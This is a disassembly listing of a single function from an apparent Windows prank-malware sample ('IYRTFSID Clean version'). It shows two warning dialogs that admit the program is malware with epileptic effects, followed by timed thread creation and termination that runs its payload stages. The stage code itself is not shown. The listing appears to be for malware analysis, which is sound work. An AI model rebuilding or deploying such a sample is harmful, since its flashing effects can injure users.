Function at 0x401b80
Capabilities:
Create thread
Terminate process
Terminate thread

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MessageBoxW]
push edi
push 0x34
push str.IYRTFSID_Clean_version.exe
push str.THIS_SOFTWARE_IS_A_MALWARE____n_nthis_malware_is_not_destructive__but_this_program_have_epileptic_effects__if_you_want_run_this_malware_press__YES___if_you_wont_run_this_malware_press__NO__and_exit_
push 0
call esi
cmp eax, 7
je 0x401dd0
push 0x34
push str.IYRTFSID_Clean_version.exe
push str.FINAL_WARNING____n_nTHE_CREATOR_IS_NOT_REPOSIBALE____nPRESS__YES__TO_CONTINUE_OR_PRESS__NO__TO_EXIT
push 0
call esi
cmp eax, 7
je 0x401dd0
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x401b20
push 0
push 0
call ebx
push 0
push 0
push 0
push section..text
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x4012a0
push 0
push 0
mov esi, eax
call ebx
push 0x61a8
mov edi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call ebx
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x401150
push 0
push 0
call eax
push 0x61a8
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push edi
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4018b0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x401a70
push 0
push 0
mov edi, eax
call esi
push 0xafc8
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push edi
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4014a0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x4014f0
push 0
push 0
mov esi, eax
call edi
push 0xafc8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0
push 0
push 0
push 0x4013c0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x401640
push 0
mov edi, eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
call eax
push 0xc350
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push edi
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x401780
push 0
push 0
call esi
push 0
push 0
push 0
push 0x401a00
push 0
push 0
mov edi, eax
call esi
push 0xafc8
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4018b0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4010a0
push 0
push 0
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x4e20
call ebx
push 0
push 0
push 0
push 0x4011e0
push 0
push 0
call esi
push 0x3d090
call ebx
pop edi
pop esi
xor eax, eax
pop ebx
ret
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3